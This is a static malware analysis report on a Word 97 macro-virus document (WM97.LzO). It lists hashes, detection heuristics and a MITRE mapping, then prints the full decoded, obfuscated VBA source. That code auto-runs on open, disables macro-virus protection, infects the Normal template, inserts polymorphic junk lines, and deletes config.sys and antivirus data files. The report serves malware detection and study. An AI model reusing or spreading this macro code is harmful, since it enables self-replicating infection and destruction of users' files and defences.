Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5e5df39b521bc1d1…

MALICIOUS

Office (OLE)

58.0 KB Created: 2007-10-09 22:31:00 Authoring application: Microsoft Word 9.0 First seen: 2015-10-02
MD5: d4b9fac3fb05e7df18404d5568b24c80 SHA-1: e82e97363891ca103a759d5c414923566b7d9081 SHA-256: 5e5df39b521bc1d1d7f112a8a583f73700659a7c25d87dfb949108245766612e
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic auto-execution markers and VBA macros, including a critical heuristic indicating self-replication or AV tampering by disabling macro protection. The script also manipulates application display alerts. While the specific payload is not clear due to truncation, the techniques used suggest an attempt to prepare the system for further malicious actions.

Heuristics 7

  • ClamAV: Doc.Trojan.Noswan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Noswan-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://microsoft.com/lzo� In document text (OLE body)
    • http://microsoft.com/lzoIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18630 bytes
SHA-256: 4edd542da645f0f5f57724a869559027616eddada2aab9993783da52888a5558
Detection
ClamAV: No threats found
Obfuscation or payload: likely
163 of 258 identifiers look randomly generated (e.g. 'TkNjBnEeQtUrVlVgUhMzUkLkJjUeHxCuNlRoBkNu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "user01"
Sub main()
    Dim var1
End Sub

Attribute VB_Name = "LzO"
Sub OvBeTi8453()

    ' -= [LineZer?'s Macro Engine 1.2] =-
    ' -= [WM97.LzO] =-

    ' -= [ID: 18880-Es-12988453-Nx.W] =-

Bg = IrNsSgTwOlShLhMtOuBkLqHiEeEe & HhEuAqUeHuFfTqHgMwFxMpKuUvAnVtOsAtDsQuFhGqGhUeStSzQjEj4624278
On Error Resume Next
LqAgLvPxHuVtBjEfGoKuVyHrPoFrTgSfNiBkGv = QkBlJxUt & EzOkCgJkPiDtMuPwPxSyJjMhDmBrAg13239912
WordBasic.DisableAutoMacros 0
RlPhUsPyRpFnVvQnSxOiIxEzHjUeJjMm = AjKsTuSjHwNqLiEtBuAkQhMtPeHiReRtBoLsMyMfNj & JwUwOpEjHeEoJvJsJhSpIzCpEmPhRgSiCpRtUsKuAqJyPz69134482
ActiveDocument.ReadOnlyRecommended = False
RtNsOhRgFiFlSl = BpPvToEx & HyFyLmEnEvReOeJlFePtTuEgEsIpIpAtQgNoHqDkSvDjOxVsGqEz16792815
Rem KwItFfAsGnDsGmBrVsMtOlBnIkLlAoDgDeOrGeJkKz
Rem TkNjBnEeQtUrVlVgUhMzUkLkJjUeHxCuNlRoBkNuKjRxVsBwJnVwKtDrLuGsAiQzDtAvLoEw
With Application
PpOmJwUlQtReMjReOuMxAuChAhVjDwDxMm = AvMyKnKqJhOsLsUvAn & BoDsPtHoFg13808221
.EnableCancelKey = wdCancelDisabled
Rem BwCnJgBjBvGsLlCzMrGoCkMzRpAlEhPoAtPiTeEyVyBxDjKmIzAqEyMgNiCnBpEeTf
FwAtRhOgTxHmSuDkAxHyJfTsCmDeDjVeVqAyJe = ArOzTfTfKmPvVoDq & HuRpCkCqKyClIiJuGqAtNfDuCgJtRmDrOlEvLsOnQzVfQfNu48649111
.DisplayAlerts = wdAlertsNone
DqMlOfNrEoGzGzIwAlHxTxVsCwEfVxCtOkIr = DpQlIiUgQhNkSvTiFsPeUlRgOtQlMzGeFqSvUvJv & UjQiEuHiNlKmSx66483761
End With
JhNoJtVtPqCrEkBl = FgOmHwQgHuKzEgUjPpDvFvCpJeDpGxQeGfEzDjVq & EzTmVgUjSjCeBqKwBxOpAfIlKiLsJxBpQxOr39182692
With Options
OgNpExMfEwBlTzGkLiBjShBuTrVxLgJrHz = GxJe & FzLnSoPxDgTvLzQhUgDfShKhGmDwFyVvCiUzPsVuByKeDwIgBzFp15035250
.ConfirmConversions = False
Nk = UfFgAjOvMhPkQpCoJqOfBuIoEuAmDjRyTe & Lz9326337
.VirusProtection = False
Rem NnVeMrToGpUkDlFwMnOxQwNwVmGvPwJqHnKhUpVgGvLuHhLyPrIrJrAlElOlNuNiPhLuTy
QsLjDtKzCyKqVrTyKgMgSjHnAgDlHxDyHlDoSf = JmDmNjUiRg & OkEjAxPzAiTrPrBfVuAjKfMfFsHpAxHeChBwPxJm84914115
End With
Rem EfCgFwItNvAuCeHeLrKpGuEnPrCyPzOqPtGtAqLiClQmJlVoFvUwVy
VfHjCiLzRrUpVnHqHfHmQsMfCm = SzIoFkQfKeHuLgPuNfBiDjLsJjJyUs & JhKuFyFzViDfQpMfHvCwFxUrTsTgHpJoQrHyOxSjEz12041835
 'This is an improved version of APMRS called SOPS by me :)
KvBuLmFnJhFgKnIj = GeQwVlEjOjOxKjKnNeCeMjEfQmMeGf & ToFpGo78235671
Randomize
FvGsSvMuFnLwEyIkMrKiFpAePoVr = CmBkJuLmEoFvChDxCwTwKh & MxOtGgSlVjSiKyPuDhUyJx35652905
ActiveLines = Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule.CountOfLines
QyOkPuHsGrLuGpFtQlCqElDqDtUsRqSg = RwQtPwOwItAwNnThAvLwIvHhEmSwAf & VyQkQuPpCgBhSvNhClOhUzFeVxPk66044032
If ActiveLines > 300 Then
PuBvFqRvUnDvDgNiMgCtKsLwEgEuRjVwFoFg = PoHqSuEzPfGqSjNnIkGvPtBvBtEiPqOzEjNjQwQkBgLlKk & BtBfPlEfLmHeHhBgOlFnHiOv1143301
With Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule
HxCgGrVjVgCiPo = GxFqOkRsSgHiLf & AvBxIiLoAkSjEjEqDzTyJeCtElHxIvMjLjFsGwAwTmAeVeKjRqAoFjCoTsTp381067
For TheLine = 1 To .CountOfLines
SeTo = VtAeDrDoTvRkHfMmEyLuArGlQjAk & KrUnItOsDeQjHrVsFxKmThUeExOxOxOpAwDvHiUwCgNs97001722
If Left(.Lines(TheLine, 1), 3) = "Rem" Then .DeleteLines TheLine
Jr = JwTgNoJnReKiLlAmTxVlClFnGmElMsGjLvCqKkLtNvFkVo & HmQeIiPlJx41331178
Next TheLine
GjBrAgAmIvBgLeNzDoTqNrUfFyCmRyPkEzQw = MyEeMgKuSwSyQvKyKxLkGiNrTpGt & JqDgGg76954652
End With
RtDoOyHhKmAw = Rx & DiNpQsKzHtNoCpTpAuFjIxCy35438441
Else
FlAgHiLeQuOyTpByQgDxThPqDmQlRjGxHjTiBk = AhPqSqGzEq & HzVgCkKuIkHsGlKzKj26615026
With Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule
FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780
PolySize = Int(Rnd * 10)
Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048
For PolyMorphic = 1 To PolySize
OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493
PolyString = ""
DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913
PolyLines = .CountOfLines
VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788
RndLine = Int(Rnd * PolyLines) + 1
DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368
StringSize = Int(Rnd * 39) + 1
KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351
For SomeString = 1 To StringSize
OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822
PolyString = PolyString & Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22))
CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947
Rem UkPgDjMoLjLzMnHgExNpIyOzChKsTjKnUoPrDeBvDeIjJmNySlPtMtKtVyLxSyVlVqPyVe
Next SomeString
PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170
.InsertLines RndLine, "Rem " & PolyString
Rem JpSwIpJfGgRzPfArNqHiSkTfKuEmTiIkPs
NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467
Next PolyMorphic
QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969
End With
FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780
End If
Rem Aj
Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048
CM525 = GetSetting("LzO", "ICounter", "Count", "")
OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493
If CM525 = 100 Then
DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913
ActiveDocument.FollowHyperlink Address:="http://microsoft.com/lzo", NewWindow:=False, AddHistory:=True
VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788
Dim a As Variant
DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368
Dim b As Variant
KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351
Selection.Wholestory
OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822
a = Selection
CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947
For i = 1 To Len(a)
PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170
Rem TtQyBkRuTrIjRfIpVqRqMqRnTjMhAjGmRzUoOeRyBfIgDpQxJkUwAs
b = Mid$(a, i, 1)
Rem ArGkJyMyVnQn
Rem AvAoHlOzDlGwSiOeUgMeAkBxRhIiCuJtQwJwVsPsPmUgOuLlVoEoUwUmVpCfSnSxIlNkBf
NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467
c = Asc(Mid$(a, i, 1))
QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969
d = c + 29
FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780
If d > 199 Then c = 30
Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048
e$ = e$ + Chr(d)
OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493
Rem LqPsOxRyAjTfGkAkPpRqOsItEuAnFzJjMoPqGkKnOyAyAxCoRoOzHfQfEiEiHpUn
Next i
DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913
Selection.Wholestory
VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788
Selection.Cut
DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368
WordBasic.Insert e$
KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351
Kill ("c:\config.sys")
OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822
Call QuDtIh9752
CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947
End If
Rem KnVxEoRjExSmVgJoOhMxTnPwSnEyUzSmJoQfGtGfNmQlSqHzLvPzJx
PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170
Application.CommandBars("View").Controls(6).Delete
NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467
Application.CommandBars("Format").Controls(12).Delete
QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969
Application.CommandBars("Tools").Controls(12).Delete
FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780
Application.CommandBars("Tools").Controls(13).Delete
Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048
End Sub
Sub QuDtIh9752()
OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493
On Error Resume Next
DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913
Kill ("C:\PROGRAMME\TBAV\TBAV.DAT")
VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788
Kill ("C:\TBAV\TBAV.DAT")
DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368
End Sub
Sub Es1298()
Rem PqRsUiQvEnQsKgBtFjSiIkJtPgOrEx
KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351
On Error Resume Next
OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822
Application.EnableCancelKey = wdCancelDisabled
CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947
With Options
PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170
Rem IwLwHeFi
.SaveNormalPrompt = False
NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467
.VirusProtection = False
QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969
.ConfirmConversions = False
FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780
End With
Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048
Application.VBE.ActiveVBProject.VBComponents("LzO").Export "C:\LzO.sys"
OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493
Rem RxSgJuDoOrPqOsEtFsBeOvKeVuQoNiUrVwStOxAnMnHhKiHtRe
With Dialogs(wdDialogFileSummaryInfo)
DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913
.Author = Chr(74) + Chr(97) + Chr(99) + Chr(107) + Chr(32) + Chr(84) + Chr(119) + Chr(111) + Chr(102) + Chr(108) + Chr(111) + Chr(119) + Chr(101) + Chr(114) + Chr(32) + Chr(45) + Chr(61) + Chr(91) + Chr(76) + Chr(105) + Chr(110) + Chr(101) + Chr(90) + Chr(101) + Chr(114) + Chr(216) + Chr(32) + Chr(86) + Chr(120) + Chr(32) + Chr(84) + Chr(101) + Chr(97) + Chr(109) + Chr(93) + Chr(61) + Chr(45)
Rem RrKrDuHeFyAoSsCiIyDgOiPlMfVzKtKjJwGoTgBhKjNjJvPrLhExGuAq
VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788
.Comments = "WM97.LzO" & Chr(32) + Chr(98) + Chr(121) + Chr(32) + Chr(76) + Chr(105) + Chr(77) + Chr(69) + Chr(32) + Chr(49) + Chr(46) + Chr(111)
DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368
.Keywords = "LiME ID: 18880-Es-12988453-Nx.W"
KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351
.Execute
OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822
End With
CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947
Rem TmAsFkOg
For x = 1 To NormalTemplate.VBProject.VBComponents.Count
PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170
Rem JtHtGeHfJhIvOzMeNqLmFvOpMeGpRfSzPpIuFhTwDtVoHvHlUiOpAmBwMiJqDvVlOyLxOqHe
If NormalTemplate.VBProject.VBComponents(x).Name = "LzO" Then VgEpSe1330QuDtIh1298 = True
NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467
Next x
QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969
Rem JhKzEgFxErKqFsInKyHqUgSmQgOhHpDzUqBwIeElAqRwDlPeHsDpIkOsEmBeClVnIoJwAf
For y = 1 To ActiveDocument.VBProject.VBComponents.Count
FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780
Rem FwPsCsAeMvVhUrRrRlPjIiLiCsBzEyDeRwQgDwJuIlPuThIhMoGqCsUlIxVqGkGq
If ActiveDocument.VBProject.VBComponents(y).Name = "LzO" Then DvVsAk7799OvBeTi8453 = True
Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048
Next y
Rem GzKiOqVyHgKnHjOiNtVtAqQiCiVtHsVkLgIoNh
OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493
If VgEpSe1330QuDtIh1298 = True And DvVsAk7799OvBeTi8453 = False Then Set OtRnBt7890QuMxDr9752 = ActiveDocument.VBProject
DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913
If VgEpSe1330QuDtIh1298 = False And DvVsAk7799OvBeTi8453 = True Then Set OtRnBt7890QuMxDr9752 = NormalTemplate.VBProject
VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788
If VgEpSe1330QuDtIh1298 = True And DvVsAk7799OvBeTi8453 = True Then GoTo Ende_
DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368
OtRnBt7890QuMxDr9752.VBComponents.Import "C:\LzO.sys"
KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351
If DvVsAk7799OvBeTi8453 = False Then ActiveDocument.SaveAs (WordBasic.[FileName$]()), FileFormat:=wdFormatDocument
OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822
If VgEpSe1330QuDtIh1298 = False Then NormalTemplate.Save
CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947
Call Nx1330
PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170
Ende_:
NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467
Call OvBeTi8453
QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969
End Sub
Sub Nx1330()
FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780
On Error Resume Next
Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048
CM525 = GetSetting("LzO", "ICounter", "Count", "")
HgCkCgItJfFoEx = FtCsBkLtFrStGtHkPvMqKrSnSpEqDlIyFeFr & NfDuImDsEnNsFsVkUeVuLvPzAvNzJuTwEuSoAjAeKgBjPf25217606
If CM525 > 100 Then SaveSetting "LzO", "ICounter", "Count", "1"
ShVwBlUxEkOjAvNiHvVhCoPxMhUyTtOhSzPxUtPy = KoLyGfAk & HyRwUhJhOkRyFwQtEqBpPtKsBnBmBvCiVsNjEzQfTpEnFnOmJqRfKlKyLwCz50739141
CM525 = GetSetting("LzO", "ICounter", "Count", "")
OoKqPkLgAzTgRtIeFtJnIuPoIfVrAsBqHjHsLlFj = GqVkEmRtJxEhOyNyGn & VnAeEkHz21095305
CM525 = CM525 + 1
Rem UgUlBwFiLoJjKtHsSgQeSjUuRgRzItClAgVsJoOhNsMpTtLtJy
UwLoPnKuBgMpDsCtNl = HzCrBpCoKwVmFiEhEtRnNhGgFyMgMkBrAqMhRzRhJpGeIi & VvCkJtPiSsViRzJyRpSjNzNqAjSkVrNhRlVsMlAvDm50562599
SaveSetting "LzO", "ICounter", "Count", CM525
MrPuEfOhHtNhQkPsNkLmSeQePgSnPm = QlHqJkAzCqUoBtLqKgBkSsKmDjHxStEuMuHyKrJpPkNlAvUrSx & TwFw9576129
End Sub
Sub AutoOpen()
DnNePgVyEuLlVv = AqApLqRzGhPsImKjCiBwCmIfIwAsNtGjAnHqAlToMgSwJyIw & PkDsCyUiNfBzFoBvMtCvJoHvIlUuTpQrAiVoHeGrAnTmFzGqUjTwJl1296986
On Error Resume Next
DvMpJrBgNmKiSlHsTnQwNyIgNlVuGmQrSrHu = VsQrJoTxVgVm & OlIqEeQpQjJkQgQlFmFiGzHpOuAlQsDpSlKnMiNfLxIhHyIuSmUvIiVlRlKr12002943
Call Es1298
TqAtHjGiQiIyQfCyKlLvGfQlPtTkLnInBmJwBr = TlIrCrEwIwJyGkFoNtDy & FkAvMoLvRnMfUrNp66505506
Call OvBeTi8453
OmNtVmVpOuErJlFgIlJiMiKiIgRpSrBqLk = FeFhFjMtRjUwLiPmAkPpArVyKlMq & GnSkEfAiNyOyFiRhKjCqGgHzEtTqSeBtHpVoCw18727504
End Sub
Sub AutoNew()
DmTz = QuTq & NjPuHyGrMjOwNoJqHuDzJlEoLeNx20114821
On Error Resume Next
TyUiBuIlDwIwNrJeHjQfCe = SjNmKsGrAvShOiNjGgRnJvTtHvQtOoLeRg & BmGsIeNpNpUtVwOgEkJlCl23377913
Call Es1298
NuLiPxBsBmEpFxMjGj = OpIhMhHwIxNvPyGfJmRvOeVqCnNtKiAhIoAfEeTlKt & TvHoUeHkIzHnFsAgLeCfTfHeMmJoKtHsOePeRmQrGvDz21254911
Call OvBeTi8453
AfFvTgIx = DfRmBrCiDrLkJkDxPhFmCwFwUrHnTn & CqBeKtTvSxQeQjAiIfOgNsKpCvBqVmBfFkFqAmBxJzSvKmJjFx70928467
End Sub
Sub DateiNeu()
GoBvSrKxStFlBnMwAqGqHtHpRnUfCnHiHlPz = IfEkNmKpAvEeMmVjKjNuBgEvVxGuCeBjHpFkHtQtGwArNlGsAx & FzNhVuOqBrBgAyRgStLiUjUsInOeBhBsMfTjAiEpArRjHlPxFmQp78035265
On Error Resume Next
OpFrNsNoNn = PsJqCePzGhMj & MgRzDeCpVkTgSiPwVfRmPoVrIiNpNtDuNq25583438
Dialogs(wdDialogFileNew).Show
OxDgHhPsAgOqGgKgNxLoIiOePsRlTtNt = OxBqFoIwDjAsOoHiVkUyJkRzDf & DxOrFlTkMuMuDfPiEfEfDuBvOeOrTrAmLgSqEtIl4755104
Rem MqHuAyAwDkGiOiGuLzElPyKyFpOlIgCnFnGuLy
Call Es1298
